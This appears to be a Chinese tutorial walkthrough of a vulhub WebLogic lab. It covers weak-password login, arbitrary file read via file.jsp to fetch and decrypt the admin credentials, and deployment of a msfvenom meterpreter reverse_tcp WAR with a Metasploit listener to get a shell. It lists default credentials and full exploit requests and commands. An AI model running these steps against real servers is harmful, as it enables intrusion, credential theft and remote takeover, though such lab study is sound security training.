Weblogic漏洞(三)之 Weblogic 弱口令、任意文件读取漏洞

Weblogic 弱口令、任意文件读取漏洞

环境安装

此次我们实验的靶场,是vnlhub中的Weblogic漏洞中的weak_password靶场,我们 cd 到weak_password,然后输入以下命令启动靶场环境:

bash 复制代码
docker-compose up -d

输入以下的命令可以查看当前启动的靶场环境:

bash 复制代码
docker-compose ps

漏洞复现

首先我们可以通过本机的IP加端口号( http://192.168.41.132:7001/console/login/LoginForm.jsp)来进行靶场访问,如图这就是漏洞靶场的界面了

弱口令漏洞

这里我们可以使用弱口令来尝试登陆界面,Weblogic常用的弱口令密码有如下几种:

bash 复制代码
system:password
weblogic:weblogic
admin:secruity
joe:password
mary:password
system:sercurity
wlcsystem: wlcsystem
weblogic:Oracle@123

这里我们使用 weblogic:Oracle@123 的密码成功爆破弱口令进入后台

如下图是Weblogic的后台管理界面

任意文件读取漏洞

我们访问这个IP地址,http://192.168.41.132:7001/hello/file.jsp?path=/etc/passwd,这个地址存在任意文件读取漏洞,我们输入这点URL后,浏览器会下载一个file.htm文件

file.htm文件的内容如图所示

上述步骤说明http://192.168.41.132:7001/hello/file.jsp?path=这个URL路径存在任意文件读取漏洞,现在我们知道了这个路径存在任意文件读取漏洞,那我们该如何利用这个漏洞呢?Weblogic的服务器存在两个文件,密文和密钥,Weblogic的服务器存储密文的绝对路径是:/root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat,相对路径是:security/SerializedSystemIni.dat,密钥文件的绝对路径是:/root/Oracle/Middleware/user_projects/domains/base_domain/config/config.xml,相对路径是:config/config.xml

现在我们打开BP,点击进入 Repeater 重放模块,重放以下的数据包获取密文(注意这里的主机IP和端口号要改成你靶机的IP和端口号)

bash 复制代码
GET
/hello/file.jsp?path=/root/Oracle/Middleware/user_projects/domains/base_domain/security/Serialize
dSystemIni.dat HTTP/1.1
Host: X.X.X.X:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/97.0.4692.71 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8, application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=XxnDkhsRVyXhvQZDkZfMz1jKwPxtMnVyvTDZTPyFP1QD2Gnq2R2F!- 1485790404
Connection: close

点击 send,发送数据包,得到以下数据

然后点击 Hex,切换为 16 进制的数据格式

选中以下的数据分段

右键点击copy to file,进行复制,保存为 111.dat 文件

然后我们重新发送以下的数据包,获取密钥文件(注意这里的主机IP和端口号要改成你靶机的IP和端口号)

bash 复制代码
GET
/hello/file.jsp?path=/root/Oracle/Middleware/user_projects/domains/base_domain/config/config.xml
HTTP/1.1
Host: X.X.X.X:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/97.0.4692.71 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8, application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=XxnDkhsRVyXhvQZDkZfMz1jKwPxtMnVyvTDZTPyFP1QD2Gnq2R2F!- 1485790404
Connection: close

现在我们得到了密钥的文件,然后将其保存复制下来,后面解密会用到

接下来我们去进行 Weblogic 密文的解密

Weblogic解密工具下载地址:https://github.com/TideSec/Decrypt_Weblogic_Password

此次我们使用的是这个工具:https://github.com/TideSec/Decrypt_Weblogic_Password/tree/master/Tools5-weblogic_decrypt

将工具下载到本地之后,我们通过以下代码启动工具

bash 复制代码
java -jar weblogic_decrypt.jar

然后将文件选择为我们保存的111.dat文件,密文这里填写我们获得得密钥,然后点击确定,成功解密出密码

然后我们使用 weblogic 用户名 和 破解出来得密码 Oracle@123 尝试登陆后台

控制目标服务器

我们获得用户名和密码之后尝试登陆Weblogic 的后台

现在我们已经通过弱口令或者任意文件读取漏洞获得密码成功登陆了Weblogic服务器的后台界面

进入到后台之后,我们该如何去利用呢?首先我们通过kali生成一个木马

bash 复制代码
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.41.132 lport=4444 -f war -o java.war

点击左侧 部署->安装->上载文件->选择部署,上传java.war包->(全部下一步)-> 完成


上传好后的界面如图所示:

然后kali机器开启监听

bash 复制代码
msfconsole	
use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set LHOST 192.168.41.132
set LPORT 4444
exploit

接下来我们访问 http://192.168.41.132:7001/java这个URL来触发木马回连

kali机器收到监听

相关推荐
Gworg几秒前
创建HTTPS网站
安全·https·ssl
qdprobot2 分钟前
ESP32桌面天气摆件加文心一言AI大模型对话Mixly图形化编程STEAM创客教育
网络·人工智能·百度·文心一言·arduino
huaqiwangan12 分钟前
电子远勘在侦查中有什么作用?
网络安全
Smartdaili China1 小时前
如何在 Microsoft Edge 中设置代理: 快速而简单的方法
前端·爬虫·安全·microsoft·edge·社交·动态住宅代理
hakesashou1 小时前
Python中常用的函数介绍
java·网络·python
C++忠实粉丝2 小时前
计算机网络socket编程(4)_TCP socket API 详解
网络·数据结构·c++·网络协议·tcp/ip·计算机网络·算法
九州ip动态2 小时前
做网络推广及游戏注册为什么要换IP
网络·tcp/ip·游戏
Estar.Lee2 小时前
时间操作[取当前北京时间]免费API接口教程
android·网络·后端·网络协议·tcp/ip
蝶开三月2 小时前
php:使用socket函数创建WebSocket服务
网络·websocket·网络协议·php·socket
G丶AEOM2 小时前
SSL/TLS,SSL,TLS分别是什么
网络·网络协议·网络安全